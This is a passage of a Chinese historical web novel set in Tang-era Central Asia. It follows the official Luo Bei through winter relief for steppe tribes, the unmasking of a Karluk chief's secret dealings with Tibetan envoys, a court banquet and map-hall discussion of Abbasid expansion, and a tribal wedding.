洛北不再说话,只安静地享受一时静谧。直到山下歌舞方歇,才自汤泉中起身,取了一方棉巾擦干身上和头上的水,重新换上衣裳。 阙特勤看着他的样子照做,手一摸到棉巾,便觉得细腻贴肤:“汉人的布料确实比突厥人的好啊。这是什么做的?绸还是锦?” “这是棉布。”洛北一边挽头发一边同他解释,“棉花是地里长出来的,比羊毛和麻纺的布细,比绸缎要吸水些。最重要的是,比绸缎便宜得多。” 阙特勤搓了搓棉布的边角:“从前商队也从天竺带棉花来,可那种棉布没有这么细腻。这种子也有讲究?” “这种种子是父亲从崖山带来的。”洛北道:“这几年,我们分别在龟兹、碎叶、于阗、怛罗斯等地耕种,效果都很不错。在碧水城外,暂时还没开出那么多田地,在这里,棉花就是种在田垄上的。” 他们一道来到暂作为洛北居所的山间院落中,床榻已有仆役整理好,新收的床被泛着阳光的清香,屋子中烧着暖暖的火盆,阙特勤脱下外袍,摸了摸床上的被子:“这也是棉布的?” “不错。”洛北道:“棉布做的套子,棉花塞在里头保暖。你今晚睡一睡,看看比皮袍斗篷如何?” “许是没有皮袍斗篷暖和。不过,轻盈许多。”阙特勤道:“想来这东西也比皮袍要便宜许多?” 洛北颔首:“是。现在稍富些的百姓家里,便能买得起。就算买不起,也可以自己种些棉花来用。棉布保暖透气,余料还可以造纸,棉花根和棉花籽都可以入药。安西碎叶、龟兹等大城,都兴起了女子结社出资共建的布坊,她们不仅织布供应给家里,也卖给别人和官府。” 阙特勤笑道:“现在我知道你哪来的银钱建造这些城市了。” 数日之后,暴风雪如期而至。风雪再度袭击草原之上,饶是城内,也是家家关上门窗,不愿出门。唯有洛北的那只金雕不畏严寒,依旧展开双翅,翱翔在天地之间,时不时发出畅快的鸣叫。 洛北伸出手臂,让金雕重新落回自己的肩上,转身把视线投往屋内。桌中炉上的酒壶已经满了又空,空了又满。可桌子周围的人还都兴致勃勃的模样。王翰没在这么冷的草原上度过冬,这会儿把一条棉被裹在身上,口中还慨然吟着诗: “秦中花鸟已应阑,塞外风沙犹自含。夜听胡笳折杨柳,教人意气忆长安。” “我看我们王大才子是真的醉了。”张孝嵩笑道:“前天他才同我说,要留在安西教化百姓,不愿回到长安去。结果这会儿作诗,又说起什么‘忆长安’来。” 哥舒亶端起酒杯:“长安确实是个令人神往的地方,但那里实在是太复杂了。一块砖头砸下来,能扔到三四个达官贵人,宗室、权贵还有与他们休戚与共的下人、家仆和亲属我曾在长安当过禁军首领,你们都不知道我那日子是怎么过来的。” 他说着,把一杯酒仰头倒进肚子里:“还是塞外自由。” “就,就是。”王翰听闻此话,忽而来劲了,“我已经答应了褚郡君,要和她,和她一道修一部包括农医工等的大书,为万民做指导。我,我不要回长安去了。” 阙特勤还是第一次听到褚沅的名字:“褚郡君是谁?” “哦,等到了碎叶,介绍你们认识。”洛北凑在阙特勤耳边道:“她是我的妹妹,也是我的书记官。” “你,你不认识她呀。那你的汉话是谁教的。”王翰道:“我看你引经据典的那股劲头,应当也学了好久了。” “我么?”阙特勤哑然失笑:“我的汉话当然是乌特特勤教的了。” 王翰点了点头,刚要说什么,眼皮却再也招架不住,牢牢地合上了。他抱着酒壶,倒在榻上睡着了。哥舒亶又取了条裘衣给他盖在身上:“既然有人喝倒了,按照特勤的规矩,是不是应当散了?” “散了吧。”洛北率先起身:“我看外头的风雪也该停了,明天天一亮,咱们几个人就有的是事情要做了。” 张孝嵩道:“城中施粥的事情我去盯。” “我去西边,盯着哥舒部和一部分弓月部的百姓情况。”哥舒亶点头。 “好。”洛北看了一眼阙特勤:“请阿阙向东,看看东突厥各部的情况。我先在城内巡查一圈,然后向北,看看拔悉蜜人和葛逻禄人的情况。”他话音未落,便已经注意到众人脸上共同的忧虑神情——“我把卫队带走,还不行吗?” 阙特勤与他同在此地几日,已经知道他的性子,也明白了当时哥舒亶那种深深的忧虑从何而来。 拔悉蜜人和葛逻禄人都不是突厥本部,是突厥人后来征服的民族。后来突厥灭亡,他们又臣服于大唐。再后来骨笃禄和默啜又逼迫他们向自己臣服。 这些部族非常分散,部族之间争斗频发。他们的叶护和可汗尚且不能控制自己的部族,更何况洛北: “虽说乌特特勤的声望极高,号令西域莫敢不从。但你和区区三百人的卫队,就带着物资深入他们的牧场,也是实打实的冒险之举了。还是把你的亲军调来再出发吧。” “大雪封山,等我的亲军到来,只怕各部之中已有人饿死了。”洛北摇了摇头。 阙特勤眼见劝不动他,只得叹息一声:“那我把我的亲兵和卫队也派去随你同行。” 次日天一亮,粥场已在城西开了张。洛北本要把这些事情都丢给张孝嵩去办,却被张孝嵩拒绝:“这是安西都护府下辖的碧水城,你应当建立自己的权威,而不是我。” 洛北微微皱眉:“孝嵩,我并没有想把自己塑造成神。” “或许你不愿意。”张孝嵩深深地凝望着他:“但这是最好,也是最快的方法。” 洛北从张孝嵩的目光看到了同情,看到了无奈,也看到了深深的期许和信任。他的耳边又响起于阗太子曾经说过的那句话: “人生多苦难,暗夜之中,人们总要念诵一个名字来抚平伤痛。” 如果他总是用“乌特特勤”的声望来带动人们前行,希望人们按照他期许的方向行走,那他怎么能拒绝人们把自己捧上神坛——哪怕那代表着更重的责任。 张孝嵩不再说话,只拍了拍他的肩,把施粥用的木勺递给他。偌大的棚子中挤满了等着喝粥的灾民,不少人身上都挂着雪花。洛北打了第一碗粥,递给派在最前的一个老太太,她慢慢地喝了,枯槁般的脸上渐渐散发出满足的光。 第二桶粥被端上来的时候,巴彦凑到洛北身边,低声向他汇报暴风雪过去的情况,城中只找到了五具冻死的尸体,其中三具是风雪夜回家没找到路的倒霉蛋,还有两个是没来得及找到背风处的乞丐,现在有家人的,尸首均已送还其家,没有家人的,只能在城外的坟墓处掩埋。 “城中一切正常,就是医馆那里,怕是有些忙不过来了。”巴彦道:“郎中说,他已经把几个学生都派出去照看情况了,但还是忙得脚不沾地。” “大寒之后最怕生病。”洛北当机立断:“从我的卫队再调四个人去帮忙。” “是。”巴彦抱拳走了——城中还有许多事情等着他去拿主意。 第176章 “要是乌特特勤真的在我的营地里出事,我部立马就会变成西域各部的活靶子!” 风雪一过, 草原上的天空又恢复了明朗灿烂的模样。到了这样的冬天,草原上的毡房也不能挡住寒风,大部分没有城墙遮蔽的牧民便会生活在地窝子里。 这种地窝子比毡房还要简单, 向下挖个十来仗深, 再用羊粪垒成边墙,最后用毛毡、花布一类的东西挡住羊粪,便是地窝子了——只要挖出足够的空隙,土地自会如山峰一样挡住寒风。 当洛北带着一千余人的卫队踏马飞奔过草原时,马蹄声的震动很容易就会惊动一个睡在地窝子里的人。但第一个发现乌特特勤飞鹰旗帜和大唐旗帜交叠在一起的是妇女们, 她们正趁着新雪,把床榻上的毡毯抱到外面,放在雪地上用力拍打, 打到干干净净,光洁如新才停下。 阙特勤的卫队首领是曾经在瓜州城外和洛北打过照面的那个年轻副官,名叫步利。他一边帮着洛北发放物资, 查看各家受灾的情况, 一边向洛北打听碎叶城里的情况。他有个年轻的堂兄弟,因为家里的孩子太多,离开家去了碎叶城里讨生活。 “你应当早点告诉我。”洛北笑笑地和他开着玩笑:“这样我就把他一起带到碧水城来了。” 步利笑着摇了摇头:“怎么敢为这样的事情劳烦特勤。” 洛北在拔悉蜜人和葛逻禄人的土地上所做的事情和他过往在牙帐里做的事情并无什么不同。他发物资,给病人看病, 有时候也应主人的盛情邀请给牛羊看病。 有时候牧人们所在的那部首领来了,大呼小叫地向他道礼, 称呼他为伟大的乌特特勤。他也就欣然接受,在这位首领的毡房中安睡一晚,随后再出发前往下一个牧场。 但这样的善意也并不是所有首领都能接受。 葛逻禄谋落部的首领便带着他的军队, 在牧场之前截住了洛北的队伍,他客客气气地向洛北道礼: “向乌特特勤致敬。可否请问特勤, 可是我部有不臣之举,竟劳动特勤亲自前来?” “我只带了卫队来此,首领。”洛北道:“我是来看看各部可有需要帮助之处。” 首领道:“我已经听闻了特勤的好意,但我们葛逻禄人也是历史悠远的民族,我们有权决定自己冬天如何生活。我们应当遵循传统的方式,不应当有外来干预。” 洛北道:“……首领,我不认为传统的方式就是看着自己的部族百姓冻死饿死,而不施以援助。” 葛逻禄首领的脸色已经有些不好看了:“我部接受特勤的好意,但不愿意劳动特勤多走,请特勤把物资留下,我自会发放。” 这是公然违抗命令,步利在一边已经听得有些着急了,他跃跃欲试:“乌特特勤,草原上竟然还有人敢用这种语气对您说话!请允许我教训一下这个不知死活的东西。” 洛北摆了摆手制住他:“首领,我听闻葛逻禄人在草原上修建了十几座美丽的城市。我知道此地已经离米特克城不远,我想去看看那座城市。” “请特勤饶恕我。”首领客气地低头请罪:“但城中目前挤的都是人,实在无法再容纳您的卫队。如果您愿意孤身前来,我邀请您同我一道去见见那座城市。” 洛北已经从他恭敬的态度中察觉到一丝异样。他一只手放在马鞍边挂着的箭筒上:“恐怕我不能这么做。首领。” “那就请特勤转道吧。”那首领微微欠身。 洛北轻轻笑了:“首领,我远道而来,天色渐晚,你甚至都不愿意招呼我休息一晚吗?” 这是无法拒绝的请求。首领无奈,只得带着众人来到他的营地之中——说是营地,这个地方更像是一座小城市,用土房和砖房垒砌起来的一座座屋子中,居住着许多百姓。 “步利将军。”洛北轻声问在他身后的步利:“你看这里有多少人?” “约莫五六千人吧。”步利估了估:“是座不小的城市了。” 洛北颔首,他预估下来,也最多八千人——这其中士兵顶多一半。他虽然只带了一千余人,但这一千余人都是久经战阵的披甲骑兵,又是精锐,正当用时,是可以以一敌百的,在最坏的情况下,他也有把握带着这些人全身而退。 这一顿晚餐称不上丰盛,只有羊肉、碎麦子和面饼一类的吃食。洛北倒是吃得津津有味,还好奇地问首领,他那宝冠上的宝石是从何而来:“这样的红宝石,在龟兹和碎叶也是不多见的。” “这个啊,这个是家中传下来的。”首领勉强笑道:“镶嵌太久了,否则我可以取下来献给特勤。” 洛北笑了:“只是随意提一提,我对这些没有兴趣。” 夜色降临之后,首领将洛北等人安置在毡房之中,毡房内的火塘烧得正旺,毡房之中温暖如春,毡房之外便是寒冷的冬日。洛北查看过一遍,确认过一众卫队成员都有了居所,才施施然进了步利的毡房中。 “特勤有事?”步利正脱了外袍要钻到裘衣和棉被卷成的暖和卷子中,“这棉被,挺好用的。” 洛北见他面露困倦,笑道:“觉怕是睡不成了。我怀疑吐蕃使者就在城中。那枚红宝石镶嵌的工艺很新,根本不是什么家传之物,是吐蕃人给他的礼物。” “吐蕃人?!”步利立刻坐了起来:“那些混蛋来这里做什么?” “吐蕃人一直觊觎西域富庶,想向大唐求取十姓之地。所以我与他们谈判时,刻意断绝了一切他们能北进西域之路,除非他们愿意翻越昆仑山。”洛北以指为笔,在地上比划了一下:“现在看来,他们已经找到了新的路径,那就是翻越葱岭。” “翻越葱岭,特勤是说,绕一个大回环?”步利道。 洛北颔首:“不错。若我猜得不错,只怕他们已经和大食人勾结一气了。他们现在要做的,就是拉拢这些外围的部族,反过来对大唐形成包围。” “那,那我们岂不是很危险?”步利这下了无睡意:“伯克把您的安全交给了我,我率领卫队殿后,请您马上就走。” “马上就走?我像个丧家之犬一样逃走,就是把这个部族丢给了吐蕃。”洛北微微弯起唇角,“步利,你的卫队中可有会吐蕃话的人?” “这”步利想了半天,还是诚实地摇了摇头:“特勤要这样的人做什么?” “你有没有钓过鱼?”洛北笑道:“你去征召卫队中善于说话,或是模仿人说话的青年。我也去把我卫队中的会说吐蕃话的人召集来。我们来玩一次这样的游戏。” 夜半三更之时,草原上冷得刺骨,水流滴下来,瞬间就凝结成了冰。静悄悄的草原上只听得风声呼啸。辗转反侧难以入眠的首领好容易进了一段浅浅的梦乡,忽而听到外面高声呼喊: “起火了!起火了!” “起火了!” “唐使的毡房起火了!” 首领急忙披衣起身:“糟了,糟了,一定是那几个吐蕃使者,他们以为杀了乌特特勤,就可以搞乱大唐。他们” 在他的床榻上躺着一个年轻妩媚的吐蕃女人,闻言只是懒洋洋地翻了个身:“不是吗?当时和吐蕃谈判的有他,平定突骑施之乱的是他,击溃阿史那匍俱的也是他如果没了他,大唐的军队不就是不堪一击吗?” “你!是,他们或许不一定能攻灭吐蕃,但灭我一个小小葛逻禄,还是易如反掌!还有,你们想没想过,如果他没死的话,你们吐蕃人一样会受到他的报复?!”首领没空和她生气,急冲冲地披上裘衣,冲出房外。他对着在外的侍卫高喊一声:“看着那个女人,等我回来再发落!” 黑夜之中,火光亮得几乎能洞穿夜色。葛逻禄首领匆匆套上毡靴,一路快跑,冲到大唐使节的营地之前,却被两个披坚执锐的卫士拦住:“什么人?!” 首领太过焦急,甚至没认出来人是谁:“连我都不认识了?!让我进去!要是乌特特勤真的在我的营地里出事,我部立马就会变成西域各部的活靶子!” 步利掀开帘帐,慢悠悠地从里面走了出来:“首领,乌特特勤叫你进去。” “你”首领这才意识到中计,他下意识地转身要走。 又从无人处转出来两个披坚执锐的卫士:“首领,你是西突厥十姓部族的领袖,也是大唐册封的都督,既然是特勤兼大唐安西的副大都护相召,不进去参拜,不太合适吧?” 首领猛吸了一口气,只觉得草原上冬季的寒冬也凉不过此时。他鼓起勇气,几乎不能挪动步子,还是步利打了个招呼,让两位卫士一左一右地架着他进了毡房之中。 洛北正坐在毡房中的胡床上,见卫士们把首领带进来,只是打了个手势:“好了,除了步利之外,都出去吧,让我和首领好好地谈一谈。” 那两个卫士把首领往地下一放,首领愣是没站住步子,扑通一声跪倒在地上,双手沾到一手的湿滑之物,腥味很重,是血。 “请特勤饶命。”首领跪倒在地:“都是那群吐蕃崽子蛊惑我的!我绝无和大唐、和特勤作对的想法。” 洛北轻轻笑了一声:“我知道你会这样说,所以已经把那群吐蕃崽子抓来了。他们的使节在这桌上,可惜,已经不能开口和你说话了。”他伸腿踢了踢一边的两个麻袋:“你们,和首领打个招呼吧?” 麻袋中只传来呜呜咽咽的声音,和低碎的求饶挣扎声。 首领这下跪都跪不住了,他瘫倒在地上,努力用双手撑着身体:“请特勤听我解释,吐蕃,吐蕃人只是来问我借道,我” “借道去哪?攻打突厥?还是攻打碎叶?”洛北的声音逐渐冰冷了:“到了这个时候还敢给我耍花招,你不想要脑袋了吗?” “是,我老实说,老实说”首领道:“他们,他们与大食要合兵一处,共击大唐的安西四镇。” 第177章 “放心吧,有我在乌特特勤身边,草原上是没有人能伤得了他的。” 比起草原上的酷冷和严寒, 碎叶城的冬日就要温暖许多。元宵节那日挂上的灯火,过了三天也没有摘下来。自荒野席卷而来的东风浩浩荡荡地拂过城楼,吹动高挂的唐军赤旗和乌特特勤的飞鹰旗。 褚沅和吴钩都站在城楼上, 洛北豢养的那只金雕已经展开双翼在天空盘旋数圈, 像像个骄傲的将军在巡视自己的领地。直到正中,洛北才同张孝嵩等人打马回城。 比起他从碎叶带走的卫队,这一次卫队的人数少了许多,连卫队长巴彦都被他留任在碧水城中担任镇守使。 可当吴钩问起时,洛北只轻描淡写地说:“我已经问过询问卫队诸将的意见, 把他们中愿意留在草原上的派到各部去帮助他们过冬了。他们的身份是乌特特勤的使节——安西都护府的僚属。” 吴钩方正的脸上只剩下无奈的笑:“那公子爷的安全怎么办?” “回到碎叶,便有驻军,再说, 我的亲兵不是还在城外么?”洛北笑道,“再说,我已为自己找到了位分外合适的卫队长。” 他把阙特勤从自己身侧拉过来, 郑而重之地向褚沅和吴钩介绍道:“这是暂代我卫队长的阿阙将军。” 阙特勤无奈地一笑, 像个汉人一样躬身向他们道礼: “吴判官放心吧,有我在乌特特勤身边,草原上是没有人能伤得了他的。” 吴钩与他互相道礼,眼见阙特勤英武的面庞上额头宽阔, 鼻梁高耸,知道他必是一位突厥武士:“将军如此自信, 想来也是在金山大会上夺过名次的?” 阙特勤哈哈大笑:“不才在第一届金山大会上显过身手,区区摔跤第一而已,不足挂齿。” 他正要夸耀自己突厥第一勇士的声名, 却又意识到他如今是在大唐的碎叶城,只得把话哽在喉咙里:“总之, 吴判官就看我的吧。” 张孝嵩在他们身后笑而不语——西域多的是随风乱倒的墙头草,火中取栗的冒险家,但恐怕没有几个敢于同时冒犯大唐和突厥的笨蛋。 “怎么不见苏舍人和裴御史?”洛北好奇问。 “苏舍人主持文馆,要我们等开席前再去叫他。裴御史在文馆中同几个波斯学者研究漕运的事情,也说不必管他。”褚沅道。 “漕运?”洛北笑笑:“碎叶川奔涌不歇,若能对它加以开发和限制,确实是个好河道。只是草原之上,天气莫测,冬夏之间,水流大小差得很多。这样的地方,也能行船吗?” 张孝嵩此刻终于忍不住说话了:“洛将军,我猜裴御史在意的,应当不是西域漕运。” “哦?”洛北回身看他,“那是哪里?” “长安。” 说到此处,张孝嵩忍不住轻轻叹息一声: 长安作为历代都城,人口众多,这些人口之中,又多的是不事生产的权贵子弟。到了大唐的时代,长安的吃饭问题已经成为一项压在大唐官府身上的沉疴。 为了解决这个问题,朝廷每每利用漕运,从江淮转运粮食到长安。可漕运东南段年久失修,自高宗、女皇以来,长安粮荒时有发生,每到了这个时候,朝中大臣们就会劝皇帝前往洛阳“就食”。 可李显登基以来,不知是不想重温女皇时代的噩梦,还是受到本为京兆人氏的韦后影响,竟从未再去过一次洛阳。景龙三年时,为着太子李重俊带头上表劝他移居洛阳的事情,他竟以太子有反心为由废黜了太子。 洛北知道他想到了废太子李重俊之事,一时之间气氛沉闷,还是褚沅前行半步,笑着对众人道:“将军,我已经在衙署中备下了宴席,要不我们移驾席间,边吃边聊?” 有她递的这个台阶,众人这才重新欢笑起来,张孝嵩率先道:“我在长安就听郭相公说过褚郡君治宴的本事,今日终于有幸得见。诸位,莫踌躇了,咱们快马加鞭,进城去吧。” 吴钩借此机会,同洛北说了碎叶城越冬的情况,有赖准备得当,这大半个冬日碎叶城中无人因贫病冻死街头,只有两个人喝醉了酒,没找到回家的路,冻死在街边,如今皆已善加埋葬。 他说着说着,忽而犹豫地望前方褚沅那里一望:“还有件事……” “与褚郡君有关的事情?”洛北见他吞吞吐吐的模样,干脆直接发问。 “是,郡君在元宵佳节上宣布,凡碎叶百姓及周边部族,有成婚者赏红绸一缎,棉布两匹,养育子女者赐孕妇养胎粮一斛,并免其家徭役一岁。这……这恐怕。” 吴钩犹犹豫豫,还是说出了口: “这恐怕对碎叶的生产建设,大为不利。” “为何?”洛北用那双流金般的眼眸定定地望着吴钩,直到他忍不住低下头去:“生产建设皆需人手,碎叶地处偏远,本就不及其他三镇人多,倘若百姓都去结婚生子,那这些事情谁来做?” 洛北摇了摇头:“吴判官,你不要这样想。倘若人人皆为饮食奔波劳碌,不肯组建家庭,孕育子女。二十年后,碎叶会如何?” 吴钩见他这样说,脸上已经涨红了:“公子爷误会了!自周以来,历代皆鼓励婚配生育,我不是不懂这个道理,只是,只是不是时候啊。” 洛北笑道:“饮食男女,青春少艾,有什么是时候不是时候的?多等一年,百姓们便多老一岁……须知怀孕生子、照料子嗣可都是费神费力的活计。” 他顿一顿,似乎半是玩笑半认真地说起: “难道说,过往三年碎叶城的收支账本都是做出来唬人的,咱们的府库里没有那么多存粮和布匹?” 弄虚作假,这可是要掉脑袋的大罪,吴钩立刻明白了他的意思:“既然公子也赞成,我也就不说什么了。只是……别人家做官,都是把粮食布匹收缴上来,好在朝廷那博个好政绩,怎么到了公子这儿,一天天竟把朝廷的府库往外发。” 洛北笑道:“没有百姓,哪里来得朝廷?再说,政绩也好,升迁也罢……我已经是三品高官,还要削尖了脑袋往上争什么?倒是吴判官……你要是。” “又来了,公子。我可没想去长安担任个什么户部主事,也没有当转运使的打算。”吴钩道:“我已经决定了,若当真有朝一日,再也帮不上您的忙。我就在碎叶文馆中求个收留之地,与那些学者、大儒比邻而居。然后写一本书。” “一本书?什么样的书?”洛北问。 “一本像大唐西域记那样流传千古的书。”吴钩傲然道,“一本讲述西域及更西之地的大书。我要用这样的事业传承自己的名字,那样的东西,比石头刻的碑文更不朽。” 洛北颔首道:“好啊,若有那样一日,我为你来做序。” 酒过三巡,菜过五味,摆在水晶碟上的冻柿子被端上来的时候,酒桌上众人都已有了几分醉意。 苏颋举杯道:“我久居长安,不知安西情状。今次一见,方觉安西都护府民风淳朴,衣冠之胜,不亚关中。此皆洛都护之功,来,我敬都护一杯。” “我有何功?不过是上赖天子鸿福,下托百姓爱戴。”洛北笑道:“要说赓须文脉的功劳,当数褚郡君功居第一。” “不错,不错。”苏颋笑道:“所以我已经和焕之、子羽商议过了,待到回到朝廷,便上书为褚郡君请官。洛都护,让褚郡君暂代安西都护府掌书记,替你执掌文书,如何呀?” 洛北颔首道:“褚郡君能为陛下执掌诰命,替我这个边塞将军描摹文字自然是手到擒来。” “好。”苏颋道:“那就我草拟,我领奏,你和焕之、子羽共同署名。” 洛北笑着应了——他自己这个名字,纯粹是因为官品太高,不得不列在上头凑数,实际苏颋、王翰等都是文坛大才,有他们给褚沅背书,想来她之后的工作会好做的多。 至于这样的任命会在朝中激起什么样的声浪,那就不是身在安西都护府的他需要操心的了。 裴耀卿也附和苏颋的话,举杯敬洛北道:“我来碎叶城之前,还以为这里是片不毛之地,结果一入城中,物华天宝,无奇不有,实在是涨了见识。这条绵延万里的丝绸之路看起来,确实是大有可为。” “还请裴御史赐教。”洛北与他喝了一杯酒,才道。 裴耀卿道:“前些日子我同吴判官在街中巡视,从很多商人那里听说,在昭武九姓及波斯、大食之地,也有许多商人想要东来。但碍于路途遥远,生死不知,费用极高,所以不敢前来。以我之见,洛将军统领草原各部,倒不如从中征召愿意冒险远行的,组成官方护卫,随同商旅出行。” 这样的事情,自哥舒亶的父亲时,便有西突厥部族在做。但要以“安西都护府”的名义率队出行,却是洛北从未想过之事。他沉吟片刻:“若等大食与昭武九姓的交战停歇,或可一试。” “交战?”苏颋好奇道:“昭武九姓不是我大唐藩属么?怎么和大食打起来了?” 洛北故作叹息:“此事说来话长,阿阙将军,你去把那几个不知死活的东西押上来吧!” 阙特勤抱拳道礼,不一会儿就带着步利折返回堂上,步利手下的两个卫士,一前一后,像拽螃蟹似的拽来几个被五花大绑的人。 “这是什么人?”苏颋惊讶道。 “这是葛逻禄谋落部的首领,这两个是吐蕃派来潜入葛逻禄部的副使。”洛北道,“正使已经被我杀了。” 第178章 洛北说这些话时轻描淡写,言笑晏晏,好像说得是件再简单不过的事情。…… 洛北说这些话时轻描淡写, 言笑晏晏,好像说得是件再简单不过的事情。 在场众人却人人严正起来。大唐与吐蕃尚有盟约在,金城公主的嫁期还没有定, 怎么会有吐蕃人敢于进入大唐治下的草原? 何况又是不巧被这位洛将军抓了个现行。 裴耀卿立刻站起了身:“葛逻禄部远在金山, 多逻斯水一带,吐蕃与他们接触做什么?” 洛北勾起手指敲了敲桌面:“两位,裴御史问你们话呢。” “我,我,我们。”那两位副使被他们一路羁押而来, 没少吃苦头。这会儿开口,已经是汉话都捋不顺了。但被洛北目光一扫,又只得恭敬地低下头去:“我们与大食人结盟, 翻阅葱岭,借道吐火罗,入碎叶川入侵安西四镇。” “大食人?”苏颋微微皱眉问:“大食此国, 从前我只在典籍里见过。他们离大唐尚有千里之路, 两国商贸,来往不绝。他们公然与吐蕃结盟,是想做什么?” 洛北笑了:“苏舍人,大食离大唐已经没有千里之遥了。” 他施施然起身, 招呼步利把这几个俘虏重新丢到监狱里:“数年之前,我命吴判官以安西使节名义出使西域诸国。他归来之后, 将此行见闻及收集来的商队地图汇编一册。就存放在碎叶文馆的地图厅中,诸位不妨随我前去一观。” 地图厅离文馆的各大主建筑都很远,反倒离安西衙署极近。洛北带着众人跨出侧门, 走上一刻钟,便来到了地图厅之中。一入厅中, 众人的目光便被那方绘在墙壁上的巨大地图吸引了。 山形、湖泊、河流、城池、关隘一座座标记被匠人栩栩如生地描画在墙上。 在右边,一轮太阳高悬上空,标识为日升之东。在西边,一轮月亮缓缓下沉,标记为月沉之西。 在日月之间,是东起伊逻卢城,南到逻些城,北到金山,西到条支海的广袤土地。 连吴钩自己都忍不住感怀:“这样大的一副地图,我还从未见过。” 洛北笑道:“我是兵部职方司郎中出身,描画地图,算是我的本行了。不过,地图之大,还算不得什么。这副地图出彩之处,是它是按照比例画的。也就是说,地图上碎叶城到大食的距离,便是我们到大食的距离。” 人们随着他的话语抬头望去,象征着大食的白色已经覆盖了乌浒水以西的全部土地,而且正在一步步地蚕食着乌浒水东岸的土地。 “安国也已经沦陷了?”张孝嵩错愕地转过身来看他:“这……” “是啊,安国最大也是最古老的要塞沦陷于去年。我是在从金山回来的路上听见的消息,我已经无可奈何了。”洛北道。 张孝嵩愤然道:“昭武九姓,素为我大唐的藩属之国,大食侵吞他们,便是要威胁我大唐!” “张御史,话不要说的这么急。”苏颋拍了拍他的肩,“昭武九姓离碎叶尚有一段距离,何况长安。” 洛北轻轻一笑,似乎是早想到他会这么说:“苏舍人说的是,所以我也无意救援昭武九姓。我真正用意之地,是在月氏都督府。”他敲了敲昭武九姓以西的吐火罗之地:“这也是吐蕃绕路入侵的必经之地,如今正在大食控制之下。” “此地离吐蕃倒是近,可离大唐有千里之遥。”张孝嵩皱起眉:“中途又多为山地,贸然出兵,太危险了。” “所以我才来征求诸公的意见。”洛北沉声道,他的声音在镶嵌着天蓝色瓷砖的穹顶之间回荡,几乎激起了几片光柱里的烟尘:“要发起这样的远征,只怕不止是十天半个月就能解决的事情。若无朝廷诏书,我不敢擅专。” “洛将军也太谨慎了。”裴耀卿笑道,他是使团众人之中年岁最轻的,立刻就被这远征激起了十成十的兴趣:“不说将在外,君命有所不受,便说将军战功赫赫,又深得陛下信任,安需复请?” “国家律法如此,不可乱来啊。” 这一日的对话结束于苏颋信誓旦旦的保证,他愿意领衔上奏,请朝廷允许洛北出兵讨伐大食。 之后数日,碎叶城的生活变得平静起来。东风浩荡,一批批部族启程出发,再度前往山间的夏季牧场。 苏颋和裴耀卿披着裘衣在春寒料峭中打了个哆嗦,望着碎叶城外像浪花一样的牛羊:“看起来,草原上正到了热闹的季节?” 洛北道:“是,往年这个季节,我便会率领各部前往金山拜山,今年因要兴兵讨伐大食,我便把各部首领都征召到碎叶草原上来了。今年的金山大会,也改在碎叶草原上举行。” “金山大会?”裴耀卿好奇道,“那是什么?” “那是草原上的盛会。各部欢聚一堂,比较骑马、射箭和摔跤等技艺。”洛北笑道,“今年我交给孤舒州都督,哥舒部首领哥舒亶将军操办了。诸位若是有空,不妨同我一道去草原上住几日。” “咻”的一声,一支羽箭自阙特勤手中发出,射中了标靶的红心。 洛北本与他穿梭在盛会的人群之中,见他止步,不得不回头来望他,见他又扎进了比赛的人群里,只得笑一笑,把他拉出来: “你呀你,是谁和我说,这次绝不下场比赛的?” 阙特勤也是一时手痒,见他那双金色的眼眸带着笑意望着自己,知道他没有生气: “待在你这位乌特特勤身边可真是太没意思了。每日除了工作,就是工作。不忙的时候,你还要去各处视察作坊、沟渠。喏,还要和长安来的那些贵人们虚与委蛇。我跟在你后面,那是一个字也不敢多说,生怕漏馅,到了草原上来,你还不许我过过瘾?” 洛北哈哈大笑:“好了,我知道了。我倒想起一件事情,你应当与我同去。” “什么事情?” “婚礼。” 他们打马半日,一处营地出现在他们眼帘之中。最大最豪华的那座帐篷前,炫耀般地挂着高高的飞鹰旗——在草原上,那是乌特特勤的象征。 洛北带着阙特勤穿过走进大帐之中,此地已变成了一片五彩斑斓的海洋,各色的绣花毡毯被挂在帐篷上,穿红挂绿的男男女女们围在一起,布置屋子,收拾礼品。 在大帐正中的床上坐着一个年轻的女子,她的周围都是打扮精致的妇女们,正在给她的头上插上金银首饰,又拿胭脂在她的脸上画上唐人时兴的花钿。 “特勤!”站在帐篷中央,茫然地四望着的朱邪烈看到了洛北,兴高采烈地举起手向他打招呼:“您怎么来了?” “今天是你家的女儿要出门,我自然是要来给她添妆的。”洛北从袖间掏出一只镶金嵌玉的多层首饰盒,递到朱邪烈手上:“给新娘子看看,我这样的贺礼,可拿得出手?” 那要出嫁的年轻新娘似乎也在发愣,她接过首饰盒,打开看了一眼,第一层是两只做工精致的多宝金梳,第二层是一条红宝石的项链,最后一层则是用金银箔片堆砌起来的鲜花。她兴高采烈地拿起来,撒着娇要一边的妈妈给自己戴在头上。 朱邪烈重重地咳了一声:“好没规矩的孩子,怎么不知道谢一谢特勤呢?” “啊,特勤,特勤……”那姑娘错愕地站起身,本要道礼,又被洛北半扶起来,“按照风俗,本就是男拜女不拜的。又是大喜的日子,何必这么多礼。好好打扮吧,姑娘。” 那女孩甜甜地应了,又坐回自己的女性亲属们身边,任由她们把一样样首饰往自己身上比划。 洛北拉了拉阙特勤,把他拽到朱邪烈面前:“朱邪首领,我可是悄悄地把男方的特勤也拉过来了。要是那小子对你家女儿不好,你只管向他告状,只有一条,不许外传。” 朱邪烈瞪大眼睛:“真的?” “是。”洛北压低了声音道,“这就是突厥第一勇士,伟大的阙特勤。他现在暂代我的卫队长一职。” “哎呀。”朱邪烈一把握住阙特勤的双手:“久闻阙特勤的大名,今日一见,果然不同凡响……我家的女子给了你们,若有什么做得不好的,您告诉我,我这个父亲教训她……”他说着说着,本想说笑几句,却在提到女儿时忍不住潸然泪下。 “虽说是嫁到金山以东去,但我们已在那里设了碧水城。朱邪首领想见女儿,还是能见的。你也不要太难过了。”洛北轻轻安抚朱邪烈几句,才在阙特勤的不断催促之下被他拉了出去: “怎么了?再拉袖子可要撕裂了。一会儿送嫁的时候不好看。” 寈 阙特勤苦笑道:“我可是越听越一头雾水了。你说她要嫁给我部的族人?这么大的事情,我怎么不知道?” “你怎么不知道?!”洛北笑吟吟地反问他,“半个月前,咱们从碧水城回碎叶的时候,步利将军就和你说过他要成婚的事情吧?” “步利?!……对,步利。他是这么和我说过。但我以为……” 阙特勤终于回忆起来,懊恼地拍了拍自己的额头: “我还以为他是说家里张罗了门婚事。没想到是要娶你们这边的姑娘。现在一想,也对么,在碧水城那个地方,他哪里能碰到东突厥的姑娘啊!” 